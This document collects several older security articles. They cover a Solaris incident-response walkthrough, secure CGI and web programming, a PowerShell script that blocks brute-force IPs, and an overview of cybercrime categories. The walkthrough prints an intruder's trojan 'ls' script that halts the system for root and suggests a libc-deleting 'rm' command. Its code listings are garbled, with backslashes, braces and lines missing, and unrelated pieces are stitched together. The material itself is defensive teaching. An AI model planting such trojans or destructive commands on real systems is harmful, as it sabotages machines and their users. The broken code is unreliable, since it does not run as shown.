Hacked: Now What?

HackedYou have that funny feeling that something is not right. One of your admins reported that his Unix box keeps rebooting in OpenWindows. You sit down at the box, type some commands, and wham, it reboots again. This doesn’t look like a bug, you’ve been hacked! Now what do you do?

How to Prepare.

Protecting your systems is only a part of information security. Preparing for the inevitable is another. Sooner or later, one of your systems will be compromised. What then? Backups are one critical part of recovery (nothing beats a total restore), however this should be considered as a last resort.

Here we will be discussing the knowledge and tools necessary to identify a compromised system, ascertain the hack, and recover the system, without a full restore. The first part of this article will cover tools and preparations you should make now. The second part will be a step by step example using these preparations. Although this article is by no means exhaustive, I hope to give you some basic ideas of where to start. For more information, a great place to start is http://www.cert.org/nav/recovering.html.


Logging is one of your most powerful tools in recovering from a security incident, logs are your friends. With extensive logging, you can potentially track the intruder’s actions, identify what has been compromised, and fix the system. Your goal is to cover various sources of logging, so you are not dependent on a single source of information.

The first place to start is /etc/syslog.conf. This file is the central command of logging, you control various logging functions here. At boot up, /usr/bin/syslogd reads this config. By editing this file, we can configure how the system logs.

The first thing we want to log is all inetd connections, such at telnet, ftp, rlogin, etc. to the file /var/adm/inetdlog. This way, whenever someone connects to the system, you have a log of what IP connected when.  First, create the file /var/adm/inetdlog  using the touch command. Second, add the following line to /etc/syslog.conf (make sure you use tabs, not spaces with the space bar):

daemon.notice           /var/adm/inetdlog

Now, restart the /usr/sbin/syslogd with kill HUP, this ensures logging to intedlog.  We are not done yet.  To enable this, inetd has to be running with both –s and –t parameter. In the last line of /etc/rc2.d/S72inetsvc, edit as follows:

/usr/bin/inetd –s -t

Now all inetd connections will be logged. For the -t parameter to take effect, you can either reboot the system, or  kill /usr/sbin/inetd, then manually launch /usr/sbin/inetd with the -s and -t parameter.   The only problem now is we are depending on a single source of information. If your system were compromised, the intruder could easily modify the logging on that system. To protect against this, we have all logging sent to an additional logging host, so we have two sources of logging. For this, we add an additional line to /etc/syslog.conf:

daemon.notice           @logger

For the truly paranoid, we can add one more layer of protection, have all logging output sent to printer. This way, the only way someone could compromise the logging is having physical access to the printer. For this, we add one last additional line to /etc/syslog.conf:

daemon.notice           /dev/printer

There are two other logs we want to ensure are functioning, /var/adm/sulog and /var/adm/loginlog. Sometimes, these logs are not enabled by default. Sulog logs all su attempts, regardless if they are successful or not. Loginlog logs all login attempts that fail 5 consecutive times. Both logs can be enabled by touching the following two files:


The last step for logging is permissions. Solaris (even 2.6) has the nasty habit of setting bad permissions in /var/adm. Bad in that most logs can be read by everyone, and some can even be written by everyone. Keep in mind that /var/adm/loginglog and /var/adm/log/asppp.log keep passwords in plaintext. The best thing to do is chmod 750 * in /var/adm


This will be our second tool for dealing with a compromised system. When you access a compromised system, you can’t rely on the environment, or the files. The intruder most likely altered both. To protect yourself, create a floppy (or CDROM) that contains critical executables. These are the executables you will be using the future. The first thing you do on a compromised system is set your $PATH to the floppy, that way you are absolutely sure you are executing uncorrupted files. Examples of critical executables would include:

/usr/bin/ls           /usr/bin/grep
/usr/bin/find         /usr/bin/more
/usr/bin/truss        /usr/bin/vi

Also, keep a printout of all files suid 4000 and all hidden files (.*) on the floppy. This way you can determine if any new hidden or suid files have been added to the compromised system.

Now What?

Now, back to that system that kept rebooting in OpenWindows. If you remember, one of your admins reported his/her system is rebooting randomly in OpenWindows, specifically if you are root. You decide to verify for yourself. You reboot, go into OpenWindows, and do nothing: nothing happens after 10 minutes of staring at the screen. You decide to look around. After typing some basic commands, wham, the system reboots. Yep, this does not look like a bug, you have been hacked AND booby trapped. NOW WHAT? Here is an example of one possible option for troubleshooting the system.

Being the ever diligent admin, you already read an article similar to this, so you have both logs and floppy ready. So, where do we start? Logs are a great place to start, but first, never trust the environment, assume that the intruder has changed it (he/she probably already has).

You reboot the system, but escape out of openwindows starting up. You mount your handy floppy, set the path so it points ONLY to it, and then confirm your environment with the #env command. This way you know that you are executing trusted files. We are now ready to start investigating the system.

You decide to start with basic checks of critical files. You begin with the command

find / -user root -perm -4000 –print

You compare all the suid files to the ones on your floppy. Everything checks out, there are no new suid files. Now lets see if any new hidden files have been added. You then try:

find / -name “.. ” -print &
find / -name “.*” –print

No, everything checks out, there have been no new hidden or suid root files added. You decide to move on to the log files, specifically /var/adm/messages, again, nothing suspicious. So far everything checks out. You decide to get daring and try out the binaries on the system, again nothing. The system seems to be working just fine, as long as you are not in openwindows.

You decide to recreate the problem, you launch OpenWindows. From OpenWindows, you start poking around without using your floppy, then wham, it reboots! Aha, progress, the system reboots, but only when you use the system binaries while in OpenWindows. As the system reboots again you once again cancel out of OpenWindows. You reset your environment back to the floppy. You decide to try OpenWindows again, except this time we will use our buddy truss (we can trust truss since we are using our floppy).

#truss –f –t exec –o /var/adm/truss /usr/openwin/bin/openwin

You go into OpenWindows, and start poking around in the OpenWindows env. Wham, sure enough, the systems reboots, but you have the culprit with truss! After the reboot, using your floppy, you cat your truss file located at /var/adm/truss. Aha, you find the culprit in the end of the truss file, the system is executing halt.

So, you have found the hack, you are executing halt in OpenWindows. The system has been booby trapped, but how? For one last time, you launch openwin, from there you take a look at the environment. You notice that your path has changed, /usr/openwin/bin has been added to the beginning of the path. Any commands you execute will start there. Now you remember, openwin adds itself to the beginning of your path by default!

Using our trusted binaries by setting $PATH to our floppy, we cruise over to /usr/openwin/bin. You do a grep for “halt”, sure enough, you found the hack. The intruder has left a booby trap. He/she created a new file, /usr/openwin/bin/ls (see Listing A)

Now, lets find out who did it, this is where our logging comes in! The first log we want to look at is /var/adm/inetdlog. Here we find, by IP address, all the users that have connected to the server. We are looking for any IP addresses that should not be there, potentially with the same time/date stamp of /usr/openwin/bin/ls. Sure enough, you find an IP that looks suspicious, hacker.com. Now, lets find out what that users login was. With the suspicious IP addresses, you can map the intruder’s login to the IP with the “last” command, and then pipe it into grep for the IP address.

Sure enough, you got him, but what concerns you is its the login of one of your admins. You take a look at /var/adm/loginlog, but there are no failed attempts. It looks like the intruder knew the password for the login ahead of time. You take a look at /var/adm/sulog, once again, there are no failed attempts, this user didn’t have to guess any passwords. It looks like on of your admins has been careless with his/her passwords. How you handle this problem is for another article.

There are a variety of other tools and techniques to use, such as checksums, Tripwire, etc. The ideas mentioned here are just the first step in that preparation. To learn more, check outhttp://www.cert.org/nav/recovering.html

#cat /usr/openwin/bin/ls
if [“$LOGNAME” = “root”]

(sleep 5; /sbin/halt) & > /dev/null 2>&1else
A basic script that ruins your day. Imagine if rm /usr/lib/libc* was in there!



Making Secure Scripts for your Website


When you are programming on the Internet, never skip security. People really do crack Internet systems. If you are on the Internet long enough, someone will try to break into your system. Even the U.S. Department of Justice has had its Web site broken into. By taking appropriate steps to secure your systems and your programs, you (hopefully) will be able to avoid break-ins. Take the word of experience: The time spent up front is well worth it. A single security incident can easily eat up weeks of your time and potentially even millions of dollars if your systems are critical or have confidential information.

If setting up security is going to take an insane amount of time and money, you need to do a risk assessment to determine whether you should go ahead and do it. In a risk assessment, you look at the likelihood of a security breach and the cost of such a breach to your organization-remembering to include indirect factors such as loss of trust by your clients and related lost business-versus the cost of securing your system. Often, this analysis makes the answer obvious.

No security system is ever 100 percent secure. This doesn’t mean that you should just give up on security. Your goal is to secure your system by spending less money on security than a break-in would cost to fix.

People might try to break into your system or program for a variety of reasons. Some do it for fun. Others, unfortunately, do it to steal information or damage your machines. Therefore, security is almost always important. This is especially true of your Internet programs. Because they are likely one of the first things that will be attacked, spend some time thinking about the security implications of any code you are going to deploy. If you are an Internet novice, show your design and code to an Internet expert to have him verify that your program appears to be secure.

You need to remember that your Internet programs should try to deal with security on other fronts. In particular, do your best to defend against attacks from the other employees at your workplace. More security breaches are caused by employees than by crackers out on the Internet. Though you think you can trust your co-workers, keep the number of people who have access to bypass the security mechanisms to an absolute minimum. This strategy improves security and accountability.

General Internet Security

When you look at Internet security, you must look from the bottom of the protocol stack (the physical wire) all the way up to end-user applications. Any level can be attacked; therefore, every level needs some security mechanisms in place. This section mainly covers the potential weaknesses of the security mechanisms, so that you can be expecting them and possibly can deal with them in your Internet programs.

hackerOne common kind of Internet attack is to eavesdrop on packets as they cross the network, whether on the Internet or your local LAN. Networking people use the term sniffing instead of eavesdropping, however. Just about any computer can be turned into a sniffing device. The scariest thing is that any cracker who becomes root on your UNIX systems can use your UNIX box from her remote cracking site to see packets on your network. By doing this, she can gain more passwords to get into even more machines.


You will notice that the word cracker is used instead of hacker. The term hacker has two meanings. Originally, it was (and still is in many circles) a positive term, meaning “someone who plays with the internal workings of a system.” The media then came along and twisted it to mean “someone who breaks into computer systems.” Many people have recommended the term cracker for the second definition. It’s a good fit, as a safe cracker is comparable to a computer cracker.

Besides preventing the cracker from getting root on your system, you can do a few things to minimize the threat of this attack:

  • Don’t use Ethernet networks for your LAN if security is your number one goal because eavesdropping on an Ethernet is easy to do. However, Ethernet is a very good, inexpensive technology for LANs in general.
  • If you do use Ethernet, the best thing to do from a security standpoint is to use switching hubs instead of repeated hubs. The advantage is that a single machine on a switched hub doesn’t see traffic on the network that isn’t supposed to go to that machine.
  • The final approach is to encrypt traffic as it goes across your LAN or the Internet. This is very labor-intensive and shouldn’t be done lightly. (You will learn much more about encryption later in this chapter.)

One organization that can potentially help you is CERT (Computer Emergency Response Team). CERT makes announcements about what bugs exist in Internet-related software and where to acquire patches to solve the bug problems. If patches aren’t available, it usually at least suggests some workarounds. It also maintains some security tools on its FTP site. You might want to take a look before starting on Internet programming to make sure that the tools you use in your development are secure. Its URL is http://www.cert.org/.

Web Security

The Web can be fairly secure, completely insecure, or anywhere in between, depending on how it’s configured. Because different Web servers have different security mechanisms, the types of Web security available can range widely from system to system. Most of the popular Web servers (for example, NCSA, Apache, and Netscape Communications/Commerce Server) offer reasonably good security if configured correctly.

One of the security options controls whether someone can upload files via the PUT command. I strongly recommend turning off PUT unless you absolutely need it and fully understand what it’s doing. You can still get information via the Common Gateway Interface (CGI). CGI is another optional feature to which you might want to restrict access on the server. Poorly written CGI programs can create large security holes, as discussed later in this chapter.

If you need advanced security, you can run one of the Web servers that offers encryption capabilities, such as the Apache/SSL, Open Market Secure Web Server, NCSA, or Netscape FastTrack Server. It won’t solve all of your security problems, but it definitely can help, especially against packet sniffing attacks.

General Programming Security

Over the 20-plus years that the Internet has been in existence, many security bugs have arisen in Internet programs. The same types of security bugs, however, tend to crop up over and over again.

Preventing Buffer Overflow

The most common bug in Internet programs involves buffers. Internet programs must be prepared to accept input of any length; the mistake that programmers commonly make is to assume that the input has a maximum length and then write it into a fixed-length buffer when the input exceeds that maximum length. Even this can be stopped automatically if your compiler inserts code into the executable to make sure that the buffer (array) boundaries aren’t crossed. However, in C, the traditional Internet programming language, array boundaries aren’t checked.

A cracker can exploit this problem by overwriting the buffer. The excess input then can overwrite the program that exists beyond the end of the buffer. By this overwriting, the cracker then can have the target system execute his own code. The hard part of this attack for the cracker is that he must change his attack for every different type of machine, if not every version of a particular operating system.

To prevent this problem, you must make sure that your buffers don’t overflow under any circumstance. The first solution is to always dynamically allocate your buffers as needed. Some languages (for example, Perl) can automatically do this for you. Another approach is to look at the size of the input; if it’s too long, you treat it as an error or you truncate it. Each of these methods works if implemented correctly, but you need to decide which is the best method for your application.

Preventing Shell Command Attacks

Another common mistake is to allow a cracker to send commands to a shell. This problem occurs when the program accepts some input and then uses it in a shell command without performing adequate checking. On UNIX, it’s absolutely critical to eliminate some special characters, such as backticks (`) and quotes (“). The characters in UNIX that are safe to pass to a shell are all alphanumeric: underscore (_), minus (-), plus (+), space, tab, forward slash (/), at (@), and percent (%). For DOS and other systems, a different set of characters might be valid. In the CGI section of this chapter, I come back to this security problem and explain some ways to solve it for CGI programs.

Changing the Root Directory

One way to minimize all Internet security programming problems is to use a chrooted environment on a UNIX system to run the server program. If you are not on UNIX, this method is not possible and you might want to go on to the next section. The name comes from the chroot (change root) command in UNIX, which changes the root directory for the program. Setting up this kind of environment correctly is somewhat troublesome, but the security benefits can be huge if security is critical for your program. If a cracker does break through your program’s security, he will be in a “rubber room” environment on your system-without access to the real operating system files or anything else you don’t want to expose. This isolation will enormously reduce his ability to cause damage.

If your program works with confidential or sensitive information, it’s critical that your Internet programs can keep that information out of the hands of people who shouldn’t see it. Beyond your program’s security, you need to protect the data from access outside of your program. For example, you might have a program that receives credit card numbers. If a cracker breaks into your system and becomes root, he then can look at the file where you have stored the credit card numbers. A solution to this problem is to keep all this data encrypted whenever you store it. (Before you ignore this occurrence as being unlikely, you should know that it has already happened to a major Internet service provider.)

It is a good idea to have your program demand absolute security by keeping an audit trail; sending this audit trail to a different machine (possibly via syslog) also is advisable. With this method, if the machine that runs your program is compromised, you still have the audit trail from which to recover (as well as a backup, hopefully). Audit trails also are good for finding program bugs and abnormal use patterns, which are often a sign of compromise or attempted compromise. On the negative side, some audit trails can use an enormous amount of disk space and are hard to find useful information from.

Java Security

Java is probably the most secure of all of the Internet programming languages in existence; Java was built from the ground up to be ultra-secure. The Java security model is somewhat complex, but it incorporates security on several levels. If it were bug-free, it would be an extremely strong security mechanism that would greatly reduce worries about the security of running programs on the Internet. Unfortunately, so far a couple of bugs have been found in the security protection of the language, which would enable people to circumvent the security. The good news is that they are just bugs, not fundamental flaws in the design, and Sun is quickly addressing them. The other good news is that the bugs haven’t been exploited to cause damage.

Byte Code Verifier

The lowest level of security is the byte code verifier in the Java Interpreter, which implements the Java Virtual Machine. The byte code verifier makes sure that a Java program is valid and doesn’t perform any operations that might enable the program access to the machine underlying the interpreter. Checks performed include checking for code that will overflow or underflow the stack and code that tries to access objects that it isn’t allowed to access.

Sun is trying hard to make sure that its byte code verifier is totally secure. When other vendors release their implementations of the Java Virtual Machine, can you trust their byte code verifiers? I don’t have the answer to this question, but it’s something worth paying attention to.

The byte code verifier is invoked by the class loader (java.lang.ClassLoader). The class loader is responsible for loading classes from whatever source it needs, whether the local disk or across the network. The class loader protects a class from being replaced by another class from a less-secure source.

Security Manager

One level above the Class Loader is the Security Manager. The Security Manager implements the security policy for the running Java programs. Stand-alone Java applications can set their own security policy by overriding the Security Manager and instantiating it. Web browsers instantiate their own Security Managers, and applets aren’t allowed to modify them. Netscape Navigator, in particular, implements a very strict Security Manager. For example, accessing the local disk is impossible from any class loaded from the network. With HotJava and AppletViewer, accessing the local disk is possible for a class loaded off the network, if the user allows it.

By modifying the Security Manager, you can change the way security is handled in your applications. With the Security Manager, you can control file access. You can control where network connections can be made. You even can control access to threads through the Security Manager.

Writing your own Security Manager is a very advanced topic, worthy of a book in its own right. Needless to say, I won’t cover it here. If you need some material on writing a Security Manager, the book Tricks of the Java Programming Gurus by Sams Publishing has several chapters on how to do it.

Many people are now talking about putting digital signatures on applets (digital signatures are covered later in this chapter). With this system, you will be able to know who wrote a particular applet. Then, if you trust the author, you can relax the limits that the Security Manager imposes. Watch for this technology; it will be important to you, because you probably will need to sign your applets at some point in the future.

JavaScript Security

Although JavaScript has the word Java in it, don’t expect the same level of security from it as from Java. JavaScript originally was called LiveScript and had nothing to do with Java. The name change was almost strictly a marketing ploy on the part of Netscape.

Java offers a multilevel security model that protects Java code from doing dangerous things, but JavaScript does nothing of the sort. Netscape just tried to design a language with no dangerous commands. In Java, it’s possible to control the level of security by overwriting the Security Manager. JavaScript offers no such flexibility.

Apparently JavaScript wasn’t designed with security and privacy as primary design principles. If they were primary design principles, they were poorly implemented. People already have managed to exploit features in the language to do things such as steal URL history and forge e-mail. Netscape is gradually trying to address these problems.

To be honest, many people doubt that JavaScript will ever be completely secure because of its design. In fact, I don’t feel comfortable with it personally, and I have disabled it in my copy of Netscape Navigator.

VBScript Security

When Java and, to a lesser extent, JavaScript, burst on the scene, Microsoft had to strike back. It did so with Visual Basic Script (VBScript). Visual Basic Script is nothing more than Visual Basic with the parts that Microsoft saw as being potentially dangerous ripped out of the language. The end result is another language-from a security point of view-that’s similar to JavaScript. Whether it’s secure is somewhat of a mystery at this time, because it hasn’t been widely deployed on the Internet. Many systems seem secure until enough people try to break them. We will just have to see how VBScript holds up.

CGI Security

You can look at CGI security from several angles. I’ll cover some of the specific programming problems first and then get around to some of the more global issues related to CGI scripts later.

Handling Input to a Shell

First, go back to the passing-commands-to-a-shell problem discussed earlier. Because Perl is the most commonly used language for CGI programs, let’s look at how to fix this problem in Perl. If the input should never be used in a shell command in any way, the version of Perl known as taintperl should be used instead of normal Perl. taintperl is included with the standard Perl distribution and doesn’t enable any input to be used in a shell command unless you go through a troublesome process of untainting it first.

However, in many cases you need to use some of the input as part of a shell command. You have two choices:

  • You can write your own error-checking routines. If you do so, I would strongly recommend that you look for characters you know you can trust and then assume that anything else is an error.
  • Looking for characters you can trust is a much safer method than the second alternative-looking specifically for characters you know you can’t trust. This method isn’t as safe because you might miss one.

If you think this is too much trouble, you’re right-but you have an easy alternative. Libraries are available that check the input for you automatically, as well as parsing it into an easy-to-use format. For Perl 4, CGI-LIB is an excellent library. It’s available at the following address:


Don’t be confused by the fact that it’s included with the NCSA httpd distribution. It should work with any UNIX-based Web server and possibly any Web server supporting CGI on any platform that has Perl. For Perl 5, you can get CGI.pm at the following address:


CGI Scripts and userid

If you are writing CGI programs and they don’t run, the problem might be due to the security setup on your Web server. Many system administrators allow only specific people to execute CGI scripts for certain directories, to minimize the security exposure. The reason for this is that CGI scripts typically run as the userid of the Web server. A poorly written program (by any user) that can create files on the Web can cause damage to the Web server. If the Web server runs as root on UNIX or administrator on Windows NT, the damage could be even greater. It is never a good idea to run a Web server as either of these two user IDs. Anyway, if your script doesn’t run at all, talk to your Web administrator.

To solve the problem just discussed, many Web administrators install a program called CGI-WRAP. CGI-WRAP runs on a UNIX Web server and is a setuid program that performs a variety of beneficial tasks:

  • First, it runs user-written CGI scripts as that user. This scheme protects the Web server from these programs.
  • Second, it eliminates all the dangerous characters previously discussed-before the CGI script ever runs-so that the system administrator doesn’t need to worry about whether users are writing scripts in a secure fashion.
  • It also has an option to automatically kill off CGI scripts if they use too much CPU time.

If you are on a system using CGI-WRAP, you need to use different URLs, and you might need to modify your program slightly. Find some local document or talk to your Web administrator to find out how.

A common and deadly mistake that many Web administrators and programmers alike have been making recently is to place a copy of Perl itself in a directory where CGI programs can execute. A knowledgeable cracker can use this mistake to do just about anything he wants to your system. The best strategy is to always keep Perl outside any directory from which the Web server can read.

Are you being under attack? Here's a script that will block those attackers out

If you have had a public-facing server in your company, you will know that there are a lot of people without scruples that will try to hack into your server and steal your data (or simply do it for fun). I have had two servers now with different providers and the same thing happened over and over again. Unless the server was locked down to one single access IP, I would have thousands and thousands of hacking attempts per hour, every day, every week. After going through the event logs trying to figure out if any of them were successful, I found the need to automate IP blocking.

I had a list of 200+ IP I would block (mostly from China), and no sooner I would finish the block, another attempt would start. It would last between 1 min and 2h under which the server would receive continuous login attempts with usernames and passwords. I had to change the administrator username as it would be locked out after a few attempts. I could not face this on my own so I found this nice little power shell script to help.



This is trying to find attacking IP address then add it into Firewall block rule.

Server Setup:

  1. You are running a Windows Server 2008 facing the Internet.
  2. You need to have some port open for service, e.g. TCP 21 for FTP; TCP 3389 for Remote Desktop. You can see in my code I’m only dealing with these two since that’s what I opened. You can add further port number if you like, but the way to process might be different with these two.
  3. I strongly suggest you use STRONG password and follow all security best practices, this ps1 code is NOT for adding security to your server, but reduce the nuisance from brute force attack, and make sys admin’s life easier: i.e. your FTP log won’t hold megabytes of nonsense, your Windows system log will not roll back and only can tell you what happened last month.
  4. You are comfortable with setting up Windows Firewall rules, in my code, my rule has a name of “MY BLACKLIST”, you need to setup a similar one, and set it to BLOCK everything.
  5. My rule is dangerous because it has the risk to block myself out as well. I do have a backup plan i.e. the DELL DRAC5 so that if that happens, I still can remote console to my server and reset the firewall.
  6. By no means the code is perfect, the coding style, the use of PowerShell skills, the hard coded part, all can be improved, it’s just that it’s good enough for me already. It has been running on my server for more than 7 MONTHS.
  7. Current code still has problem, I didn’t solve it yet, further on this point after the code. 🙂

#Dong Xie, March 2012


#my simple code to monitor attack and deal with it
#Windows Server 2008 Logon Type
#8: NetworkCleartext, i.e. FTP
#10: RemoteInteractive, i.e. RDP

$tick = 0;
“Start to run at: ” + (get-date);

$regex1 = [regex] “192.168.100.(?:101|102):3389s+(d+.d+.d+.d+)”;
$regex2 = [regex] “Source Network Address:t(d+.d+.d+.d+)”;

while($True) {
$blacklist = @();

“Running… (tick:” + $tick + “)”; $tick+=1;

#Port 3389
$a = @()
netstat -no | Select-String “:3389” | ? { $m = $regex1.Match($_); `
$ip = $m.Groups[1].Value; if ($m.Success -and $ip -ne “”) {$a = $a + $ip;} }

if ($a.count -gt 0) {
$ips = get-eventlog Security -Newest 1000 | Where-Object {$_.EventID -eq 4625 -and $_.Message -match “Logon Type:s+10”} | foreach { `
$m = $regex2.Match($_.Message); $ip = $m.Groups[1].Value; $ip; } | Sort-Object | Tee-Object -Variable list | Get-Unique

foreach ($ip in $a) { if ($ips -contains $ip) {
if (-not ($blacklist -contains $ip)) {
$attack_count = ($list | Select-String $ip -SimpleMatch | Measure-Object).count;
“Found attacking IP on 3389: ” + $ip + “, with count: ” + $attack_count;
if ($attack_count -ge 20) {$blacklist = $blacklist + $ip;}

$now = (Get-Date).AddMinutes(-5); #check only last 5 mins.
#Get-EventLog has built-in switch for EventID, Message, Time, etc. but using any of these it will be VERY slow.
$count = (Get-EventLog Security -Newest 1000 | Where-Object {$_.EventID -eq 4625 -and $_.Message -match “Logon Type:s+8” -and `
$_.TimeGenerated.CompareTo($now) -gt 0} | Measure-Object).count;
if ($count -gt 50) #threshold
$ips = @();
$ips1 = dir “C:inetpublogsLogFilesFPTSVC2” | Sort-Object -Property LastWriteTime -Descending `
| select -First 1 | gc | select -Last 200 | where {$_ -match “An+error+occured+during+the+authentication+process.”} `
| Select-String -Pattern “(d+.d+.d+.d+)” | select -ExpandProperty Matches | select -ExpandProperty value | Group-Object `
| where {$_.Count -ge 10} | select -ExpandProperty Name;

$ips2 = dir “C:inetpublogsLogFilesFTPSVC3” | Sort-Object -Property LastWriteTime -Descending `
| select -First 1 | gc | select -Last 200 | where {$_ -match “An+error+occured+during+the+authentication+process.”} `
| Select-String -Pattern “(d+.d+.d+.d+)” | select -ExpandProperty Matches | select -ExpandProperty value | Group-Object `
| where {$_.Count -ge 10} | select -ExpandProperty Name;
$ips += $ips1; $ips += $ips2; $ips = $ips | where {$_ -ne “”} | Sort-Object | Get-Unique;

foreach ($ip in $ips) {
if (-not ($blacklist -contains $ip)) {
“Found attacking IP on FTP: ” + $ip;
$blacklist = $blacklist + $ip;

#Firewall change

<# $current = (netsh advfirewall firewall show rule name=”MY BLACKLIST” | where {$_ -match “RemoteIP”}).replace(“RemoteIP:”, “”).replace(” “,””).replace(“/″,””); #inside $current there is no r or n need remove. foreach ($ip in $blacklist) { if (-not ($current -match $ip) -and -not ($ip -like “10.0.0.*”)) {“Adding this IP into firewall blocklist: ” + $ip; $c= ‘netsh advfirewall firewall set rule name=”MY BLACKLIST” new RemoteIP=”{0},{1}”‘ -f $ip, $current; Invoke-Expression $c; } } #>

foreach ($ip in $blacklist) {

$fw=New-object –comObject HNetCfg.FwPolicy2; # http://blogs.technet.com/b/jamesone/archive/2009/02/18/how-to-manage-the-windows-firewall-settings-with-powershell.aspx
$myrule = $fw.Rules | where {$_.Name -eq “MY BLACKLIST”} | select -First 1; # Potential bug here?

if (-not ($myrule.RemoteAddresses -match $ip) -and -not ($ip -like “10.0.0.*”))
{“Adding this IP into firewall blocklist: ” + $ip;

Wait-Event -Timeout 30 #pause 30 secs

} # end of top while loop.


Further points:

1, I suppose the server is listening on port 3389 on server IP: and, you need to replace that with your real IP.

2, I suppose you are Remote Desktop to this server from a workstation with IP: Please replace as well.

3, The threshold for 3389 attack is 20, you don’t want to block yourself just because you typed your password wrong 3 times, you can change this threshold by your own reasoning.

4, FTP is checking the log for attack only to the last 5 mins, you can change that as well.

5, I suppose the server is serving FTP on both IP address and their LOG path are C:inetpublogsLogFilesFPTSVC2 and C:inetpublogsLogFilesFPTSVC3. Change accordingly.

6, FTP checking code is only asking for the last 200 lines of log, and the threshold is 10, change as you wish.

7, the code runs in a loop, you can set the loop time at the last line.

To run this code, copy and paste to your editor, finish all the editing, get it to your server, and open an CMD window, then type powershell.exe –file your_powershell_file_name.ps1, it will start running, you can Ctrl-C to break it.

This is what you see when it’s running:


This is when it detected attack and adding the firewall rule:


Regarding the design of the code:

1, There are many ways you can detect the attack, but to add an IP into a block rule is no small thing, you need to think hard before doing it, reason for that may include: You don’t want block yourself; and not blocking your customer/user, i.e. the good guy.

2, Thus for each service/port, I double check. For 3389, first it needs to show in netstat.exe, then the Event log; for FTP, first check the Event log, then the FTP log files.

3, At three places I need to make sure I’m not adding myself into the block rule. –ne with single IP, –like with subnet.

Now the final bit:

1, The code will stop working after a while (depends on how busy you are attacked, could be weeks, months, or days?!) It will throw Red error message in CMD, don’t Panic, it does no harm, but it also no longer blocking new attack. THE REASON is not confirmed with MS people: the COM object to manage firewall, you can only give it a list of IP addresses to the length of around 32KB I think, once it reaches the limit, you get the error message.

2, This is in fact my second solution to use the COM object, the first solution is still in the comment block for your reference, which is using netsh, that fails because being run from CMD, you can only throw it a list of IP to 8KB.

3, I haven’t worked the workaround yet, some ideas include: wrap that RemoteAddresses setting line with error checking and once it reaches the limit, use the newly detected IP to be the list, not appending to it. This basically reset your block rule to ground zero and lose the previous bad IPs. This does no harm as it sounds, because given a certain period has passed, any these bad IPs still not repent and continue the attack to you, it only got 30 seconds or 20 guesses of your password before you block it again. And there is the benefit that the bad IP may turn back to the good hands again, and you are not blocking a potential customer or your CEO’s home pc because once upon a time, it’s a zombie. Thus the ZEN of blocking: never block any IP for too long.

4, But if you insist to block the ugly forever, my other ideas include: You call MS support, ask them how can we set an arbitrary length of IP addresses in a rule; at least from my experiences at the Forum, they don’t know and they don’t care, because they think the dynamic blocking should be done by some expensive hardware. Or, from programming perspective, you can create a new rule once the old is full, then you’ll have MY BLACKLIST1, MY  BLACKLIST2, MY BLACKLIST3, … etc. Once in a while you can compile them together and start a business to sell your blacklist on the market!

Enjoy the code!

p.s. (PowerShell is REALLY REALLY GREAT!)

Computer Security Ethics and Privacy

Today, many people rely on computers to do homework, work, and create or store useful information. Therefore, it is important for the information on the computer to be stored and kept properly. It is also extremely important for people on computers to protect their computer from data loss, misuse, and abuse.

For example, it is crucial for businesses to keep information they have secure so that hackers can’t access the information. Home users also need to take means to make sure that their credit card numbers are secure when they are participating in online transactions.

A computer security risk is any action that could cause lost of information, software, data, processing incompatibilities, or cause damage to computer hardware,   a lot of these are planned to do damage. An intentional breach in computer security is known as a computer crime which is slightly different from a cybercrime.

A cybercrime is known as illegal acts based on the internet and is one of the FBI’s top priorities.  There are several distinct categories for people that cause cybercrimes, and they are refereed as hacker, cracker, cyberterrorist, cyberextortionist, unethical employee, script kiddie and corporate spy.  The term hacker was actually known as a good word but now it has a very negative view. A hacker is defined as someone who accesses a computer or computer network unlawfully.  They often claim that they do this to find leaks in the security of a network. The term cracker has never been associated with something positive this refers to someone how intentionally access a computer or computer network for evil reasons. It’s basically an evil hacker.  They access it with the intent of destroying, or stealing information. Both crackers and hackers are very advanced with network skills.

A cyberterrorist is someone who uses a computer network or the internet to destroy computers for political reasons.  It’s just like a regular terrorist attack because it requires highly skilled individuals, millions of dollars to implement, and years of planning. The term cyperextortionist is someone who uses emails as an offensive force. They would usually send a company a very threatening email stating that they will release some confidential information, exploit a security leak, or launch an attack that will harm a company’s network. They will request a paid amount to not proceed sort of like black mailing in a since.

An unethical employee is an employee that illegally accesses their company’s network for numerous reasons. One could be the money they can get from selling top secret information, or some may be bitter and want revenge.

A script kiddie is someone who is like a cracker because they may have the intentions of doing harm, but they usually lack the technical skills. They are usually silly teenagers that use prewritten hacking and cracking programs.

A corporate spy has extremely high computer and network skills and is hired to break into a specific computer or computer network to steal or delete data and information. Shady companies hire these type people in a practice known as corporate espionage. They do this to gain an advantage over their competition an illegal practice. Business and home users must do their best to protect or safeguard their computers from security risks.

The next part of this article will give some pointers to help protect your computer. However, one must remember that there is no one hundred percent guarantee way to protect your computer so becoming more knowledgeable about them is a must during these days. When you transfer information over a network it has a high security risk compared to information transmitted in a business network because the administrators usually take some extreme measures to help protect against security risks. Over the internet there is no powerful administrator which makes the risk a lot higher. If your not sure if your computer is vulnerable to a computer risk than you can always use some-type of online security service which is a website that checks your computer for email and Internet vulnerabilities. The company will then give some pointers on how to correct these vulnerabilities.  The Computer Emergency Response Team Coordination Center is a place that can do this.

The typical network attacks that puts computers at risk includes viruses, worms, spoofing, Trojan horses, and denial of service attacks.  Every unprotected computer is vulnerable to a computer virus which is a potentially harming computer program that infects a computer negatively and altering the way the computer operates without the user’s consent. Once the virus is in the computer it can spread throughout infecting other files and potentially damaging the operating system itself. It’s similar to a bacteria virus that infects humans because it gets into the body through small openings and can spread to other parts of the body and can cause some damage. The similarity is, the best way to avoid is preparation.

A computer worm is a program that repeatedly copies itself and is very similar to a computer virus. However the difference is that a virus needs o attach itself to an executable file and become a part of it. A computer worm doesn’t need to do that I seems copies to itself and to other networks and eats up a lot of bandwidth.

A Trojan Horse named after the famous Greek myth and is used to describe a program that secretly hides and actually looks like a legitimate program but is a fake.  A certain action usually triggers the Trojan horse, and unlike viruses and worms they don’t replicate itself. Computer viruses, worms, and Trojan horses are all classifies as malicious-logic programs which are just programs that deliberately harms a computer.  Although these are the common three there are many more variations and it would be almost impossible to list them. You know when a computer is infected by a virus, worm, or Trojan horse if one or more of these acts happen:

  • Screen shots of weird messages or pictures appear.
  • You have less available memory then you expected
  • Music or sounds plays randomly.
  • Files get corrupted
  • Programs are files don’t work properly
  • Unknown files or programs randomly appear
  • System properties fluctuate

